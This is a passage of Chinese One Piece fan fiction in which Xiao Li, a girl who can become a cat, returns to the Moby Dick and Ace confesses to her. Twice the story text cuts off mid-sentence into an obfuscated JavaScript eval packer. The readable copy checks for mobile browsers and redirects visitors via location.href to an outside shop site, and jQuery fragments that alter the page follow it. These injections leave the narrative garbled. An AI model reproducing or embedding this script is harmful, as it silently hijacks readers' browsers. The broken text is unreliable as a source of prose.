当然,这个念头只是一闪而过,就被他自己掐灭了。撬白胡子的墙角?他还想多活几年。更何况,看这小姑娘时不时望向海面、眼神飘忽的样子,心思显然早已飞回了那艘巨船。 这一天里,也有村民鼓足勇气,战战兢兢地前来询问,他们是否……能否有幸悬挂白胡子海贼团的旗帜,以寻求庇护,避免日后再被其他海贼侵扰。他们问得小心翼翼,眼神里充满了卑微的期盼和恐惧。 小狸正抱着一本库洛巴的手抄本看得入神,闻言只是抬起头,眨了眨眼,似乎没太在意这个问题。她歪了歪头,只是含糊地“嗯?”了一声,然后又低下头继续看图鉴去了。 然而,村民们却将这短暂的沉默和那声意义不明的“嗯?”当成了默许!他们激动得热泪盈眶,互相拥抱,低声说着“太好了!”“我们终于有救了!”“白胡子海贼团愿意庇护我们!”仿佛一道坚不可摧的屏障已经笼罩了岛屿。 小狸放下图鉴,托着腮看了一会儿。她不太明白为什么一面旗帜能带来这么大的改变,但看到他们高兴,她心里也隐约有种轻松感。可是,笑着笑着,不知是谁先忍不住,压抑了太久的悲恸和后怕决堤,变成了放声痛哭。这哭声仿佛会传染,一个接一个,村民们相拥着,哭成一团。那哭声里有失去亲人的痛楚,有连日恐惧的释放,也有绝处逢生的复杂心绪。 听着这片哭声,小狸忽然觉得心里有点闷闷的,鼻子也有点发酸。她不太喜欢这种过于沉重和悲伤的氛围。这让她更加、更加地想念莫比迪克号上的家人们了。想念船上永远热闹的甲板,想念萨奇烤肉的香气,想念马尔科先生无奈又琐碎的唠叨,想念丢斯豪爽的笑声,想念乔兹师傅沉默却可靠的背影……还有,艾斯。 想念他灿烂得像太阳的笑容,想念他身上火焰般温暖的气息,想念他揉乱她头发时掌心的温度,想念他叫她“小狸”时那种独一无二的、带着宠溺的语调。 她想回家了。 于是,只在格林赛尔岛住了一晚,第二天天刚蒙蒙亮,小狸便收拾好行装,准备离开。 她要走,自然无人敢拦,也无人能拦。 村民们几乎全体出动,早早聚集在码头边为她送行。他们带来了自己舍不得吃的最好的食物和饮水,孩子们采摘了岛上开得最鲜艳的蓟草花和其他野花编成了一顶花环,小心翼翼地戴在了小狸的头上。 “谢、谢谢姐姐……”小女孩红着脸,用稚嫩的声音小声说道,眼睛里充满了纯粹的感激。其他孩子也跟着七嘴八舌地说着“谢谢”、“再见”。 库洛巴医生将重新收集、仔细打包好的药材箱郑重地交给小狸,箱子不大,却装得满满的,封口处还细心地贴了防潮的油纸。 “小狸,”他郑重地说,“这些是你需要的药材。如果……如果还有机会,随时欢迎你回到格林赛尔岛。我这里虽然简陋,但还有很多关于草药、关于医术的知识,想教给你。多学一点,总没有坏处。” 经过这一天的相处,小狸对这位博学、慈祥、在困境中依然尽力保护孩子的老医生也产生了真诚的敬意。她认真地点了点头,蓝色的眼睛望着库洛巴,清晰地说:“嗯!库洛巴医生,谢谢你教我。有机会的话,我会再来的!” 她背上双肩包,头顶着花环,步伐轻快地走向停泊在岸边的小型火焰动力艇。跃上船,朝着码头上的村民们和库洛巴医生挥了挥手。 “我走啦!” 火焰喷吐,小艇划开平静的海面,留下一道逐渐扩散的白色尾迹,向着广阔无垠的蔚蓝大海驶去。 --- 回家的航路,似乎比来时更加顺畅。 心情是前所未有的轻松和愉悦,甚至有点小小的、压不住的得意。 任务完成得干净漂亮!第一次独立行动,大成功! 艾斯哥哥知道的话,会是什么反应呢? 他会夸她吗?会用那种充满自豪的眼神看着她吗?会像以前那样,笑得露出一口白牙,然后伸出大手,温柔地揉她的头发吗? 光是想象这些画面,小狸就觉得脸颊开始不受控制地发热,心跳也快了几分。 她想起艾斯笑起来时,眼尾会微微弯起,雀斑在阳光下显得格外生动;想起他训练时,流畅紧实的肌肉线条;想起他偶尔靠近时,身上传来的、如同冬日篝火般干燥温暖的气息,还有他手指触碰她头发或脸颊时,那种略带薄茧却无比轻柔的触感…… “呜……” 小狸发出一声细微的、含混的呜咽,把脸更深地埋进掌心。不行不行,不能再想了! 可是……控制不住。 艾斯……哥哥…… 她在心里小声地、一遍遍地念着这个名字,每个音节都仿佛带着甜蜜的电流。 好喜欢你啊…… 这个认知如此清晰,如此强烈,如同破晓的阳光,无可阻挡地照亮了她心底某个一直被懵懂情绪笼罩的角落。 那么……你能不能…… ……也更喜欢我一点呢? 不仅仅是“哥哥对妹妹”的喜欢。是……更特别一点,更独一无二一点,像她对他怀有的这种,让她脸红心跳、不知所措的喜欢。 海风温柔地拂过,卷起她颊边的碎发,也带走了她这句未曾说出口的低语,仿佛要将这份初次明晰的、滚烫的少女心事,送往远方那艘如同移动城堡般的巨大鲸鱼船,送到那个火焰般耀眼的青年心中。 53. 守望 莫比迪克号的甲板,在午后阳光的浸泡下,散发着一种慵懒而温暖的气息。结束了午餐的船员们三三两两,各自寻了舒适的角落。 艾斯背靠着冰冷的船舷栏杆,那顶标志性的橙色牛仔帽,随意地挂在旁边的凸起处,任海风吹乱他总是不太服帖的黑色短发。阳光毫无遮挡地落在他脸上,照亮了那几点雀斑和此刻异常专注的眉眼。他的目光投向远方那片海天相接的蔚蓝界线,仿佛要从虚无中勾勒出某个身影。 小狸一早就打了电话虫,雀跃的慰问了船上的大家后表示自己今天一定能到 “大概……太阳偏西的时候?哥哥……你要在甲板上等我哦。” 他几乎是不假思索地就应了下来,声音是自己都未察觉的温柔:“嗯,我等你。一定。” 于是,挂断电话虫后,他便早早地杵在了这里。午餐?随意扒拉了几口,食不知味。萨奇喊他去帮忙试新菜?心不在焉地拒绝了。连马尔科经过时略带调侃的一瞥,他都浑然不觉。 终于有空闲坐下来好好吃顿午饭的厨师长萨奇端着他的午饭晃晃悠悠地凑到了艾斯身边。 他用空着的那只手肘,不轻不重地捅了捅艾斯紧绷的胳膊,嘴里还嚼着东西,含糊不清地说: “喂,艾斯,你也太早了吧?这太阳还老高呢。”他顺着艾斯的目光望向空无一物的海平面,撇撇嘴,“小猫她再怎么快,也得再有一阵子才能看见影儿呢。” 艾斯保持着单手支着下巴的慵懒姿势,但听到萨奇的话,还是嘴角不自觉地向上扬起,那笑容软化了他脸上的线条,雀斑在阳光下生动起来。 “嘛……”他拖长了音调“在这里等着,心里能踏实点。”他顿了顿,想象着某个画面,笑意更深了些,眼里闪着促狭又温柔的光,“要不然某个爱哭鬼回来,要是没能在第一时间看到我,怕是要委屈得掉金豆子了” 萨奇夸张地打了个寒颤,学着艾斯刚才的语调,捏着嗓子重复:“‘怕是要委屈得掉金豆子了~’——啧啧啧!”他恢复自己粗犷的嗓音,一脸嫌弃地上下打量着艾斯,“艾斯你小子,自从小猫来了咱们船上,整个人就变得黏黏糊糊、腻腻歪歪,肉麻死了!以前那个一点就炸、满脑子只有打架和冒险的火焰小子哪儿去了?” 他用手背抹了抹嘴角的酱汁,凑近了些,压低声音,带着点兄弟间八卦的好奇和“过来人”式的指点: “说真的,艾斯,不光我,船上兄弟们可都好奇着呢。你跟小猫现在这状态……快长成连体婴了吧?天天贴贴抱抱举高高,‘哥哥哥哥’叫得甜死了。小猫自己懵懵懂懂,可你小子……”萨奇用叉子虚点了点艾斯,眼神犀利,“不会真就打算安于现状,当一辈子‘好哥哥’吧?我跟你讲啊,追女孩子,尤其是小猫这种又单纯又依赖你的,可要掌握时机和手段!不能光守着,得主动!要浪漫,要惊喜,要让她清楚地感觉到不一样!比如……” 听到“贴贴抱抱举高高”这几个词被萨奇如此直白地嚷出来,艾斯的耳根“唰”地一下,以肉眼可见的速度染上了一层绯红,并且迅速向脖颈蔓延。他有些狼狈地别过脸,抬起手,用手掌捂住大半张脸,试图遮挡那不受控制涌上来的热意和赧然。 他打断了萨奇滔滔不绝的“恋爱教学”,声音透过指缝传来,有些闷,却字字清晰: “萨奇,不是的。” 他放下手,脸上的红晕未褪,但表情已经恢复了严肃。 “小狸她……来到这个世界,来到这片海上,时间还太短了。”他的声音很轻,带着一种难得的沉静,“她还没来得及真正见识过这片大海究竟有多么广阔,有多少不可思议的岛屿,多少性格各异的伙伴,多少精彩绝伦的冒险和无限可能。是我……当时的犹豫和私心,让她抛下了那个她熟悉的世界的一切,切断所有退路,义无反顾地、只身一人奔我而来。” 他抬起头,看向萨奇,眼神复杂,里面有怜惜,有责任,也有一丝不易察觉的、深藏的自责。 “她来到这里后,接触最多、最依赖的人就是我。我教她这个世界的常识,带她认识大家,陪她适应船上的生活……几乎成了她和这个新世界之间最主要的桥梁。”他停顿了一下,深吸一口气,像是要说出深思熟虑的结论,“所以,我不能,也不该……就这样利用她对我的依赖和信任,擅自去决定、去影响她的人生。她应该是自由的,萨奇。她需要时间去体验所有的精彩,去认识更多不同的人,去看更广阔的风景,然后,凭借自己的意志,做出真正属于自己的选择……而不是被我,或者被‘救命恩人’、‘引路人’这样的身份,束缚在身边,影响判断。” 他的语气越来越坚定,仿佛在说服萨奇,更在说服自己: “我……更不想让她觉得,是因为亏欠、因为报恩、或者因为初来乍到别无选择,才不得不留在我身边。那样的‘留下’,对我不公平,对她更不公平。我希望她是清醒的、自由的,在见识过整个世界之后,依然能发自内心地、选择她真正想要的生活和……人。” 一番话说完,甲板上这一小片区域陷入了短暂的安静。 萨奇听着听着,嘴里嚼了一半的食物都忘了咽下去,就那么僵在腮帮子里,瞪大眼睛看着艾斯。他脸上的表情从最初的八卦调侃,逐渐变成了难以置信,然后是混合着肉麻、震惊、以及一丝“你小子是不是吃错药了”的复杂神色。 “我……我去……”萨奇好不容易把食物咽下去,感觉浑身鸡皮疙瘩又起了一层,这次不是嫌弃,而是被这番话里过于“高尚”的念头给震的,“艾斯……你小子……不是,你什么时候变得这么……这么‘深明大义’了?” 他用力揉了揉胳膊,仿佛要搓掉那不存在的鸡皮疙瘩: “是个人都看得出来小猫她有多依赖你、多喜欢你!你觉得那眼神,那状态,是一般的‘妹妹对哥哥’吗?你跟我说这只是依赖和信任?艾斯,你平时挺机灵一人,怎么这事儿上犯轴呢?感情这东西,有时候就得趁热打铁!你现在跟她讲什么‘自由选择’、‘广阔世界’,万一!万一哪天小猫真的被外面哪个花言巧语的混小子拐跑了,见识了‘更广阔的天地’后不要你了,你怎么办?后悔药可没处买!” 萨奇越说越激动,简直有种恨铁不成钢的感觉,恨不得撬开艾斯的脑袋看看里面是不是装的全是浆糊。 然而,就在他唾沫横飞、试图用最现实的例子敲醒这个突然“圣父”上身的兄弟时,他却瞥见了艾斯脸上,那缓缓绽开的、与刚才严肃沉重截然不同的笑容。 那不是一个被说服或感到忧虑的表情。 而是一种……志得意满的、仿佛一切尽在掌握之中的、甚至带着点小小狡黠和势在必得的自信笑容。 萨奇瞬间哑火。 他盯着艾斯看了两秒,忽然明白了什么,没好气地“嗤”了一声,翻了个巨大的白眼,用力撇了撇嘴,所有的担忧和劝诫都化作了无语。 “行!行行行!”萨奇举起双手,做投降状,语气充满了吐槽欲,“好家伙,搞了半天,只有我在这儿真情实感地替你着急,合着我也是你们小情侣之间play的一环是吧?在这儿跟我演‘深明大义好哥哥’,实际上心里算盘打得噼啪响,早就有主意了是吧?算我多嘴!我多余!我走!” 他越想越气,尤其是想到自己刚才那番掏心掏肺的“谏言”,简直像个蹩脚的小丑。他转身就想端着盘子离开这个“恋爱降智光环”笼罩的区域,眼不见为净。 然而,他刚迈出一步,就感觉手里一轻—— 艾斯眼疾手快地一把抢过了萨奇手中那个还剩大半、酱汁浓郁、肉排诱人的午餐盘子!然后,在萨奇错愕的目光中,他像是饿了三天似的,毫无形象地低下头,风卷残云般将盘子里剩下的美食“炫”进了自己嘴里!速度快得几乎出现了残影,咀嚼都显得敷衍,腮帮子鼓鼓囊囊。 “喂!艾斯!你这臭小子!!”萨奇看着瞬间变得空空如也、连酱汁都被刮干净的盘子,气得瞪圆了眼睛“那是我的午饭!我还没吃饱呢!” 艾斯三下五除二咽下最后一口,满足地舔了舔嘴角沾着的酱汁,对着气呼呼的萨奇,露出了一个极其灿烂、甚至有点欠揍的、毫无悔意的笑容,还故意打了个小小的嗝。 “谢啦,萨奇!味道不错!”他笑嘻嘻地说,把空盘子塞回萨奇手里,“就当是听你唠叨的报酬了!” “你……!”萨奇拿着空盘子,看着艾斯那张得意的脸,简直想一盘子扣他头上。但最终,他只是狠狠瞪了艾斯一眼,从鼻子里哼出一股气,骂骂咧咧地转身,朝着厨房方向走去——他得再去弄点吃的,肚子还饿着呢。 艾斯看着萨奇“气愤”离去的背影,脸上的笑容渐渐收敛,但眼底的暖意和那丝志在必得的光芒却未曾消退。 不会的。 他在心里,用只有自己能听到的声音,无比清晰地重复。 绝对,不会有那么一天的。 虽然嘴上对萨奇说得冠冕堂皇,什么自由啊、选择啊、广阔世界啊……但是啊…… 他的目光变得悠远而深邃,仿佛穿透了眼前的景象,看到了更遥远的过去——那个在锈带诊所,明明怕得发抖却强撑着灿烂笑容,让他“记住最后漂亮样子”的少女;那个跨越冰冷世界,灰头土脸却眼神明亮地出现在他房间地板上,哽咽着说“找到你了”的少女;那个在他怀里哭着肯定“艾斯活着真的很好”的、全心全意依赖着他的少女…… 我这辈子,绝对不会放手了。 什么给她自由让她飞?那是建立在“她最终会飞回我怀里”这个绝对前提下的。他可是海贼啊,白胡子海贼团二番队队长,“火拳”波特卡斯·D·艾斯!海贼看中的珍宝,哪有放走的道理?当然是要牢牢地、紧紧地抓在手里,刻上自己的标记,藏在最安全的地方! 他会带她去看全世界,看最壮丽的风景,体验最刺激的冒险,认识形形色色的人——但也会如同最敏锐的守护者,不动声色地、巧妙地、在她察觉之前,就为她过滤掉所有不必要的危险和……“其他可能性”。那些可能会让她分心、让她困惑、甚至让她产生“或许也不错”念头的人和事,都会在他的火焰照耀下,显得黯淡无光。 他要让她在充分体验过这个世界后,依然清晰地意识到,唯有他的身边,才是她最终、也是唯一的归宿。让她心甘情愿地、甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萨奇本就没走远,听到艾斯最后几句“老父亲”般的感慨,终于忍无可忍,一把抓过挂在栏杆上的那顶橙色牛仔帽,“啪”地一下,精准地扣在了艾斯头上,并且用力向下压了压,帽檐几乎完全遮住了艾斯的眼睛! “你自己也还是个半大少年呢,在这儿装什么人生导师!”萨奇粗声粗气地吐槽,但语气里有种哭笑不得的纵容,“支持年轻人勇敢去爱、去追求幸福、活得开心快乐,当然是我们这些‘靠谱’成年人的义务!你们俩啊,负责甜甜蜜蜜、腻腻歪歪,大胆地、轰轰烈烈地去谈你们的恋爱就好!一天天的,不知道脑子里都在琢磨些什么乱七八糟的深沉玩意儿” 他用力拍了拍艾斯的后背,对着他挥了挥手 艾斯被帽子扣得眼前一黑,哭笑不得地扶正帽檐。萨奇的打岔冲散了他刚才那点感性的思绪。他摇摇头,重新将注意力投向海面。 这一次,无需极目远眺。 那艘火焰动力艇已经近在咫尺,他甚至能看清站在艇上那个娇小身影飞扬的黑发,以及她脸上那灿烂得仿佛能驱散所有阴霾的笑容。 小艇一个漂亮的甩尾减速,轻盈地贴近了莫比迪克号巨大的船身。 “哥哥——!!!” 一声清脆悦耳、充满了无尽思念和雀跃的呼喊,如同出膛的快乐炮弹,炸响在艾斯的耳畔! 那道黑色的身影在艇边轻盈地一蹬,整个人便凌空跃起,海风鼓起她过大的衬衫衣摆,黑发在空中划出优美的弧线,头顶似乎还戴着一个隐约的、紫色的花环。她张开双臂,一头撞进了艾斯早已张开、等待已久的怀抱里! 砰! 是身体结结实实撞进怀里的闷响,带着海风的微凉和她身上特有的、混合着蓟草清苦与阳光暖意的气息。 艾斯被撞得微微后退了半步,却稳稳地接住了她。那熟悉的重量落入怀中,瞬间填满了所有因等待而产生的空洞和焦灼。 小狸毛茸茸的脑袋在他结实温暖的胸口使劲地、毫无章法地蹭来蹭去,双手紧紧环抱住他精瘦的腰身,手臂用力,小脸埋在他胸前的布料里,发出满足的、含混的咕哝声。 好久没见了……小小的、多占一会儿便宜……多吸几口艾斯让人安心的味道……不过分吧…… 她闭着眼睛,贪婪地汲取着这份独属于她的温暖和安全感,心里美滋滋、晕乎乎的。 他一手自然而然地回抱住她单薄的肩膀,将她更紧地揽入怀中,下巴轻轻抵在她散发着淡淡花香的发顶。声音带着笑意和毫不掩饰的骄傲: “欢迎回来,小狸,很努力呢。” 小狸终于从他怀里抬起头,蔚蓝色的猫瞳因为长途航行和刚才的兴奋而显得格外水润明亮,映照着艾斯温柔含笑的脸庞。 “嗯!我回来了!” 她停顿了一下,仿佛要积攒足够的勇气,或者说,确认这份思念的重量, “……我好想你啊,艾斯。” 他看着她清澈见底、盛满了毫不掩饰依赖和眷恋的蓝眼睛,感觉自己的心臟像是被最柔软的羽毛包裹,他没有说话,只是收紧环抱着她的手臂,将那个“我也很想你”的回应,化作一个更紧、更温暖的拥抱,和落在她发间那个极其轻柔的吻。 夕阳将他们的身影拉得很长,在洁白的甲板上融为一体。归航的猫终于回到了她温暖的港湾。而守望的火焰,也等来了他独一无二的光。 54. 未尽的话和逃跑的猫 温馨的气氛在小狸的肚子非常不争气地、发出了一声清晰无比的“咕噜~~~~”声中结束 “……”小狸身体一僵,埋在艾斯怀里的脸瞬间爆红,她一直在赶路,不仅没吃早饭,也错过了午饭,现在松懈下来感觉得饿够呛 仿佛是为了回应她的期待,一阵浓郁诱人的食物香气,恰到好处地顺着海风飘了过来。萨奇端着个大盘子从厨房方向走来。 “这是谁回来了啊,你说多巧,刚好多了一份船上小猫最爱吃的东西,柯达兹没什么兴趣,不如小狸替我吃掉它?”萨奇把那个沉甸甸的盘子“咚”地一声放在旁边桌上,金属盘底与木桌碰撞发出清脆的声响。那简直是一座微型的、香气四溢的美食山。 小狸的注意力已经完全被那盘散发着致命诱惑力的食物吸引了。她甚至没顾得上细究萨奇的调侃,喉咙不自觉地滚动了一下,尾巴尖也开始愉快地小幅度摆动。 “萨奇!你最好了!”她欢呼一声,也顾不上本就不多的用餐礼仪,双手抓起一块最大的鱼排,啊呜一口就咬了下去! 饥饿的肠胃被这实在的美味抚慰,小狸幸福地眯起了眼睛,喉咙里发出满足的、小动物般的哼哼声,她风卷残云般将那座“食物山”消灭了大半,心满意足地发出惬意的喟叹 马尔科路过,看她吃得开心,和她打了个招呼,小狸立刻想起正事,随便擦了两下手追上去,从背包里掏出一个用油纸和细绳仔细包裹、捆扎得方正正的包裹,双手递了过去。 “马尔科先生!这是库洛巴医生让我带给您的药材!他重新整理打包好的,说是之前约定的那些蓟草花蕊和其他几样,都齐了。他还让我向您问好。”小狸的声音因为刚吃饱而带着点慵懒的鼻音。 马尔科接过包裹,入手沉甸甸的,能闻到油纸下隐隐透出的、混合的草药清香。他推了推眼镜,仔细检查了一下包裹的封口和绳结,确认完好无损,脸上露出满意的神色。 “辛苦了,小狸。库洛巴身体还好吧?”马尔科问道,语气里带着对老友的关心。 “嗯!库洛巴医生很好!就是……村子之前被海贼弄得很乱,不过现在已经没事了。医生还教了我好多关于草药的知识!”小狸提到这个,眼睛又亮了起来,语气里带着点小小的骄傲。 “哦?”马尔科挑了挑眉,看来这趟简单的取药任务,还发生了些“额外”的故事。他温和地对小狸笑了笑:“干得不错。能平安回来,还学到东西,就是最大的收获。库洛巴的医术和草药知识,在民间医生里是顶尖的,多学些东西不会有坏处的,yoi” 小猫点点头,打了个小小的哈欠,眼角沁出一点生理性的泪花,填饱了肚子,困意上涌,有好好努力过了,今天可以偷懒了吧… 小黑猫溜溜达达的在甲板上漫步,四处搜寻着那个熟悉的身影,找到了! 也不在乎艾斯有没有注意到她,蹬了蹬后腿,直接跳进他的怀里,被他几乎是下意识的接住单手圈在怀里 脑袋拱了拱调整了个舒服的姿势,小猫就理所当然的占了艾斯的一只手,闭上眼睛呼呼大睡起来,艾斯本来端着几个木箱子,现在在某猫毫无自觉的“迫害”下只能用□□将那一摞为了接住她放在地上的箱子挑起扛在另一边肩膀上,熟练地像是在表演杂技,他甚至不合时宜的想到,可能一只手也没那么不方便,脑子里蹦出的是香克斯空空的袖管 等小狸醒过来时,长长的一条猫已经被托着趴在艾斯肩膀上了,在确认身下的“人形暖炉”也已经靠着围栏小憩后,小黑猫开始得寸进尺。 湿漉漉、凉丝丝的鼻头,带着探索和亲昵的意味,撒娇似的蹭了蹭艾斯近在咫尺的下巴,又顺着他的下颌线,轻轻蹭到脖颈处。猫的嗅觉极其灵敏,她能在这里更清晰地捕捉到属于艾斯的、独一无二的气息——火焰的暖意,阳光的干燥,还有一丝淡淡的汗水和海风的味道,混合成让她无比安心和眷恋的信号。 再次确认他毫无所觉后,小黑猫伸出了粉嫩的、带着细微倒刺的舌头。 刺啦—— 粗糙又柔软的奇异触感,轻轻落在艾斯裸露的脖颈皮肤上,来不及表达自己并没有睡着的艾斯进退两难起来。 一下。 凉丝丝,带着猫科动物特有的、轻微的颗粒感,像最细的砂纸,又像带着温度的柔软锉刀。 刺啦—— 又一下。 这次舔到了他的脸颊,靠近颧骨的位置。 那感觉……无法准确形容。不是疼痛,而是一种极其细微的、持续的痒和刺麻感 他能清晰地感受到小猫温热湿润的鼻息喷在皮肤上,能感受到那带着倒刺的舌头舔舐时奇异的触感,能感受到她柔软的身体完全放松地压在自己身上,带着全心全意的依赖和信任。 他终于忍不住,低低地笑了起来。那笑声从喉咙深处溢出,带着愉悦的震颤和一丝被“偷袭”的无奈。他伸出手,动作轻柔却不容置疑地,架住了小黑猫的腋窝,将她整个举了起来,举到自己面前,与他视线平齐。 猫是液体这一特性再次得到证实。小家伙被他举得高高的,身体自然拉长,像一条黑色的、毛茸茸的软绳。后爪还下意识地、有些慌张地踩了踩空气,然后落在了他结实的大腿上,试图寻找支点保持平衡,粉嫩的肉垫隔着裤子布料传来细微的压力。 艾斯看着眼前这张近在咫尺的、乖巧无辜到极点的小猫脸。 圆溜溜的、如同将整片最纯净蔚蓝海洋都浓缩其中的眼睛,此刻正一眨不眨地望着他,瞳孔在暮色中微微放大,里面清晰地倒映着他含笑的脸庞。湿漉漉的鼻头微微翕动,几根细长的胡须随着呼吸轻轻颤抖。 整颗心,柔软得一塌糊涂。 有些话语,对着少女形态的小狸,或许还需要斟酌时机,考虑她的感受,担心会吓到她,但对着眼前这只全心全意依赖他、对他毫无防备、甚至主动亲近他的小猫……好像就没那么困难了。 而且……其实,那份心意,早该让她知道了,不是吗? 一直藏着掖着,小心翼翼,或许才是对她的一种不公。她有权知道,有权利在知道一切的前提下,做出她的选择——尽管他内心早已认定,她的选择只会是他。 艾斯低下头,动作很慢,很轻,带着一种近乎虔诚的珍重。 那是一个纯粹的、充满爱怜的吻,印在了小猫毛茸茸的、带着阳光温度的额头上。 然后,他微微偏头,又在她的脸颊——那软乎乎的、带着细绒的腮帮子处,亲了一下。 他的呼吸温热,拂过她敏感的绒毛和耳廓。 他稍稍拉开一点距离,看着那双近在咫尺的、已经有些呆滞的蓝眼睛,一字一句,清晰无比地说出: “我很喜欢你。” “喵……?!!” 小黑猫,瞬间僵住了! 不是普通的愣住,而是彻彻底底的、从尾巴尖到耳朵梢的、石化般的僵硬!整只猫仿佛被某种无形的力量按下了暂停键,维持着被举高高的姿势,一动不动,连尾巴都软绵绵地悬在半空。 蓝色的猫瞳瞪大到极限,圆溜溜的,里面清晰地倒映着艾斯温柔含笑的俊脸,但瞳孔深处却是一片空白的、被巨大信息量冲击得七零八落的茫然。 她的思维停滞,逻辑短路,所有感官都集中在了刚才的吻和话上 艾斯,亲我了?! 等等!他说……喜欢?! 是喜欢小猫?喜欢这只毛茸茸、会撒娇的小黑猫? 还是……喜欢那个会哭会笑、会闹脾气的小狸?! 猫形态的小狸,脑容量似乎无法处理如此复杂的情感命题和身份辨析。脑袋彻底乱成了一锅粥,只能傻乎乎地、直勾勾地瞪着近在咫尺的艾斯,蓝色的眼睛一眨不眨,连一声像样的“喵”都发不出来,喉咙里只剩下一点细微的、卡壳般的抽气声。 她这副完全懵掉、仿佛灵魂出窍的可爱模样,彻底把艾斯逗笑了。 他伸出食指,用指腹极其温柔地刮了刮她冰凉湿润的小鼻头,动作轻柔得像触碰易碎的梦境。 然后,他做了一个更大胆、也更亲昵的动作—— 他微微低头,将整张脸都埋进了小黑猫温暖柔软、因为摊开而显得格外蓬松的肚皮绒毛里!那里是猫科动物最柔软、最脆弱的部位。 他深深地、深深地吸了一大口! 鼻腔里瞬间充盈了甜丝丝的、被阳光烘烤过的温暖绒毛味道,以及独属于小狸的、那种混合着药草清香和纯粹生命力的、让他无比安心和眷恋的气息。 “呜喵——!!!” 这过于亲密和“袭击性”的动作,终于将小狸从石化状态中炸了出来!几乎是本能地、下意识地伸出了两只前爪,柔软粉嫩的肉垫“啪”地一下,一左一右,按在了艾斯微微发红、温度偏高的耳朵上! 果然,是小猫吧?毕竟艾斯可从来没和“小狸”这么亲密过 可是,小猫好像也是我哎……她觉得浑身都在发烫,这种强烈到几乎失控的情感冲击,让她对自身形态的控制力瞬间降至谷底! 果然—— 下一秒,“嘭”的一声并不响亮、却异常清晰的轻响,伴随着一阵微光闪过。 艾斯怀里那轻飘飘、毛茸茸的触感和重量,骤然发生了翻天覆地的变化! 原本两只手就能轻松托起的小黑猫消失了。 取而代之的,是骤然增加的、属于少女的轻盈重量,和截然不同的、柔软温热的人类躯体触感!少女以一种几乎是趴伏的姿势,出现在了他身上——之前是猫趴在他肚皮位置,现在则是人坐在了他胸口和腹部之间! 场面瞬间变得更加暧昧且失控! 现在可没有厚厚的、能遮挡一切的黑色毛发来掩饰了! 红晕,如同最浓烈的晚霞,从她白皙的脸颊“轰”地一下炸开,以惊人的速度蔓延!不仅染红了整张脸,连精巧的耳廓、纤细的脖颈,甚至隐约从宽松衬衫领口露出的锁骨肌肤,都迅速染上了一层动人的绯色。热度透过薄薄的衣衫,清晰地传递到艾斯身上。 小狸把滚烫得快要烧起来的脸,死死地、鸵鸟般地埋在艾斯颈窝里,根本不敢抬头,更不敢去看艾斯此刻的表情。呼吸变得急促而灼热,喷在他的皮肤上,引起一阵细微的战栗。她能感觉到自己剧烈的心跳,隔着胸腔,与艾斯沉稳有力的心跳几乎撞在一起,分不清彼此。 绝对不能抬头啊小狸! 她心里有个声音在尖叫,但身体和脸上的温度却诚实地背叛了她。 艾斯也被这突如其来的形态转换弄得愣了一瞬。怀里骤然增加的重量,以及那紧贴着自己的、温软而富有曲线的身躯,让他手臂下意识地环住了她的腰,防止她因为姿势变化而滑落。掌心隔着薄薄的衣衫,能清晰地感受到她腰肢的纤细和肌肤的热度。 海风依旧在不知疲倦地吹拂,带来远处甲板上伙伴们隐约的、模糊的谈笑声和准备晚饭的叮当声响,但这些声音仿佛都被一层无形的屏障隔绝了,变得遥远而无关紧要。他们所在的这一小片躺椅区域,安静得只剩下彼此交织的、略显紊乱的呼吸声,和那清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941781|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰可闻的、越来越快的心跳声。 艾斯低下头,下巴轻轻蹭了蹭小狸柔软的发顶,鼻尖萦绕着她发丝的清香。他能感受到怀中身躯的僵硬和细微的颤抖,也能感受到那惊人的热度。 他的声音里带着无法掩饰的笑意,以及一种更深沉的、几乎能溺毙人的宠溺,低低地响起,气息拂过她的耳廓: “怎么了?”他明知故问,语气轻柔得像在哄诱,“刚才……不是还很勇敢地舔我吗?”他特意强调了“舔”这个字,带着促狭。 “那、那是小猫舔的!不是我!”小狸闷在他颈窝里,发出细弱蚊蝇的、因为羞窘而微微发颤的抗议,毫无说服力,反而更像撒娇。她的尾巴却似乎有自己的想法,下意识地、紧紧地缠住了艾斯裸露在外的小臂,尾尖甚至不安地、轻轻扫了扫他的手腕内侧。 “哦?是吗?”艾斯低笑出声,胸腔的震动清晰地传递给她,带着令人心悸的共鸣。“那刚才说的喜欢你……”他顿了顿,语气故意带上一点不确定和探究,“……也只是对小猫说的?” 这句话像一把钥匙,精准地插入了小狸最在意、也最慌乱的心结。 她猛地抬起头! 动作快得甚至带起了几缕发丝。 蓝色的眼睛因为急切和某种说不清道不明的委屈而显得水光潋滟,眼眶甚至有些泛红,直直地望进艾斯含笑的深邃黑眸里。 “不行!”她的声音不自觉地提高了一些,带着一丝不易察觉的哽咽和斩钉截铁的占有欲,“不能只是对小猫说!” 话音刚落,她就猛地意识到自己脱口而出了什么。 那不是否认,甚至……更像是一种急切的、笨拙的确认和索取。 “轰——!” 刚刚稍有消退趋势的红晕,瞬间以十倍的气势反扑回来!她像是被自己的话烫到了一样,眼神慌乱地躲闪着,再也不敢看艾斯,刚刚抬起的头又迅速地、鸵鸟般地想要埋回去,身体也下意识地想要蜷缩、逃离这个让她不知所措又心跳失速的怀抱和境地。 “嗯,”他看着她近在咫尺的、红透的侧脸和颤抖的睫毛,无比认真地、一字一句地、清晰而缓慢地重复道: “不只是对小猫说。” “是对小狸说。” 他停顿了一下,呼吸微微急促,缓缓地、郑重地、准备吐出那句早已在心底盘旋了千百遍、最关键的话语: “我很……” 喜欢你。 甚至,更深的、更独一无二的……爱。 然而,就在那最关键的字眼即将脱口而出的刹那—— 小狸的瞳孔,因为极致的期待和某种更深层的、连她自己都尚未完全厘清的恐惧,而剧烈地收缩了一下。 